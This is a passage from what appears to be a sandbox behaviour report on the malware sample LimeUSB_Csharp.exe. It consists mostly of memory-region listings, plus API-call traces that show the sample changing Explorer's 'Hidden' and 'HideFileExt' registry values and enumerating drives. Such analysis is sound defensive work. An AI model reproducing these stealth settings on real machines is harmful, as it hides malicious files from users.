3582 start_va = 0x11c0000 end_va = 0x1347fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011c0000" filename = "" Region: id = 3583 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3584 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3585 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3587 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3588 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3589 start_va = 0x1350000 end_va = 0x14d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001350000" filename = "" Region: id = 3590 start_va = 0x14e0000 end_va = 0x28dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014e0000" filename = "" Region: id = 3591 start_va = 0x28e0000 end_va = 0x339cfff monitored = 1 entry_point = 0x339e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3592 start_va = 0x28e0000 end_va = 0x339cfff monitored = 1 entry_point = 0x339e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3593 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3595 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3596 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3597 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3598 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 3599 start_va = 0x7fef3760000 end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 3600 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3601 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3602 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3603 start_va = 0x7fe918a0000 end_va = 0x7fe918affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918a0000" filename = "" Region: id = 3604 start_va = 0x7fe918b0000 end_va = 0x7fe918bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918b0000" filename = "" Region: id = 3605 start_va = 0x7fe918c0000 end_va = 0x7fe9194ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918c0000" filename = "" Region: id = 3606 start_va = 0x7fe91950000 end_va = 0x7fe919bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91950000" filename = "" Region: id = 3607 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3608 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3609 start_va = 0x28e0000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 3610 start_va = 0x2a00000 end_va = 0x2c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 3615 start_va = 0x2a80000 end_va = 0x2b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 3616 start_va = 0x2bf0000 end_va = 0x2c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 3617 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3618 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3619 start_va = 0x2c70000 end_va = 0x1ac6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 3622 start_va = 0x1ac70000 end_va = 0x1afeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac70000" filename = "" Region: id = 3623 start_va = 0x1aff0000 end_va = 0x1b0f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aff0000" filename = "" Region: id = 3624 start_va = 0x1b260000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 3625 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3626 start_va = 0x1b100000 end_va = 0x1b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 3627 start_va = 0x1b3e0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 3628 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3634 start_va = 0x1b4e0000 end_va = 0x1b7aefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3636 start_va = 0x7feef8e0000 end_va = 0x7fef0edcfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 3637 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 3638 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 3639 start_va = 0x7fe919c0000 end_va = 0x7fe91a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe919c0000" filename = "" Region: id = 3643 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3644 start_va = 0x10e0000 end_va = 0x115cfff monitored = 0 entry_point = 0x10ecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3645 start_va = 0x10e0000 end_va = 0x115cfff monitored = 0 entry_point = 0x10ecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3646 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3648 start_va = 0x7fef8e70000 end_va = 0x7fef8e72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 3649 start_va = 0x7fef3140000 end_va = 0x7fef328efff monitored = 1 entry_point = 0x7fef3141090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 3650 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3651 start_va = 0x1b7b0000 end_va = 0x1b9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b7b0000" filename = "" Region: id = 3652 start_va = 0x7fe91a40000 end_va = 0x7fe91a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91a40000" filename = "" Region: id = 3653 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3654 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3666 start_va = 0x7feeec70000 end_va = 0x7feef8defff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 3667 start_va = 0x7fef2f40000 end_va = 0x7fef3134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 3668 start_va = 0x7feedbc0000 end_va = 0x7feeec65fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 3674 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3675 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 3676 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 3677 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3711 start_va = 0x7fef8dd0000 end_va = 0x7fef8de5fff monitored = 1 entry_point = 0x7fef8dde5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 3712 start_va = 0x1b9b0000 end_va = 0x1bc81fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 109 os_tid = 0x8f8 [0202.014] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0206.314] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x2ce608 | out: phkResult=0x2ce608*=0x1c4) returned 0x0 [0206.317] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x2ce658, lpData=0x0, lpcbData=0x2ce650*=0x0 | out: lpType=0x2ce658*=0x4, lpData=0x0, lpcbData=0x2ce650*=0x4) returned 0x0 [0206.317] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x2ce658, lpData=0x2ce638, lpcbData=0x2ce650*=0x4 | out: lpType=0x2ce658*=0x4, lpData=0x2ce638*=0x2, lpcbData=0x2ce650*=0x4) returned 0x0 [0206.500] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x2ce618, lpData=0x0, lpcbData=0x2ce610*=0x0 | out: lpType=0x2ce618*=0x4, lpData=0x0, lpcbData=0x2ce610*=0x4) returned 0x0 [0206.502] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x2ce688*=0x2, cbData=0x4 | out: lpData=0x2ce688*=0x2) returned 0x0 [0206.502] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x2ce658, lpData=0x0, lpcbData=0x2ce650*=0x0 | out: lpType=0x2ce658*=0x4, lpData=0x0, lpcbData=0x2ce650*=0x4) returned 0x0 [0206.502] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x2ce658, lpData=0x2ce638, lpcbData=0x2ce650*=0x4 | out: lpType=0x2ce658*=0x4, lpData=0x2ce638*=0x1, lpcbData=0x2ce650*=0x4) returned 0x0 [0206.503] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x2ce618, lpData=0x0, lpcbData=0x2ce610*=0x0 | out: lpType=0x2ce618*=0x4, lpData=0x0, lpcbData=0x2ce610*=0x4) returned 0x0 [0206.503] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x2ce688*=0x1, cbData=0x4 | out: lpData=0x2ce688*=0x1) returned 0x0 [0206.507] GetLogicalDrives () returned 0x4 [0206.762] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x2cd598 | out: phkResult=0x2cd598*=0x0) returned 0x2 [0206.763] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0206.772] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x2cdff0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0206.775] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0206.777] CoGetContextToken (in: pToken=0x2cf4a0 | out: pToken=0x2cf4a0) returned 0x0 [0206.777] CObjectContext::QueryInterface () returned 0x0 [0206.778] CObjectContext::GetCurrentThreadType () returned 0x0 [0206.778] Release () returned 0x0 [0206.780] CoGetContextToken (in: pToken=0x2cef40 | out: pToken=0x2cef40) returned 0x0 [0206.780] CObjectContext::QueryInterface () returned 0x0 [0206.780] CObjectContext::GetCurrentThreadType () returned 0x0 [0206.780] Release () returned 0x0 [0206.781] CoGetContextToken (in: pToken=0x2cef40 | out: pToken=0x2cef40) returned 0x0 [0206.781] CObjectContext::QueryInterface () returned 0x0 [0206.781] CObjectContext::GetCurrentThreadType () returned 0x0 [0206.781] Release () returned 0x0 [0206.785] CoGetContextToken (in: pToken=0x2cef40 | out: pToken=0x2cef40) returned 0x0 [0206.785] CObjectContext::QueryInterface () returned 0x0 [0206.785] CObjectContext::GetCurrentThreadType () returned 0x0 [0206.785] Release () returned 0x0 [0206.788] CoGetContextToken (in: pToken=0x2cef60 | out: pToken=0x2cef60) returned 0x0 [0206.788] CObjectContext::QueryInterface () returned 0x0 [0206.788] CObjectContext::GetCurrentThreadType () returned 0x0 [0206.788] Release () returned 0x0 [0206.790] CoUninitialize () Thread: id = 111 os_tid = 0x924 Thread: id = 112 os_tid = 0x918 [0202.153] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0206.783] RegCloseKey (hKey=0x1c4) returned 0x0 [0206.783] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 113 os_tid = 0x920 Process: id = "23" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0xa42b000" os_pid = "0x99c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3678 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3679 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3680 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3681 start_va = 0x130000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3682 start_va = 0x330000 end_va = 0xdf3fff monitored = 1 entry_point = 0xdee3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3683 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3684 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3685 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3686 start_va = 0x7fffc000 end_va = 0x7fffcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fffc000" filename = "" Region: id = 3687 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3688 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3689 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3690 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3691 start_va = 0xe00000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3692 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3693 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3694 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3695 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3696 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3697 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3698 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3699 start_va = 0xe00000 end_va = 0xf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3700 start_va = 0xfc0000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 3701 start_va = 0x230000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3702 start_va = 0x1040000 end_va = 0x11cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 3703 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3704 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3705 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3706 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3707 start_va = 0xe00000 end_va = 0xecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3708 start_va = 0xf70000 end_va = 0xf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 3709 start_va = 0x1040000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 3710 start_va = 0x1150000 end_va = 0x11cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 3713 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 3714 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 3715 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3716 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3717 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3718 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3719 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3720 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3721 start_va = 0x11d0000 end_va = 0x1357fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011d0000" filename = "" Region: id = 3722 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3723 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3724 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3726 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3727 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3728 start_va = 0x1360000 end_va = 0x14e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001360000" filename = "" Region: id = 3729 start_va = 0x14f0000 end_va = 0x28effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014f0000" filename = "" Region: id = 3730 start_va = 0x28f0000 end_va = 0x33acfff monitored = 1 entry_point = 0x33ae3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3731 start_va = 0x28f0000 end_va = 0x33acfff monitored = 1 entry_point = 0x33ae3ae region_type = mapped_file name = 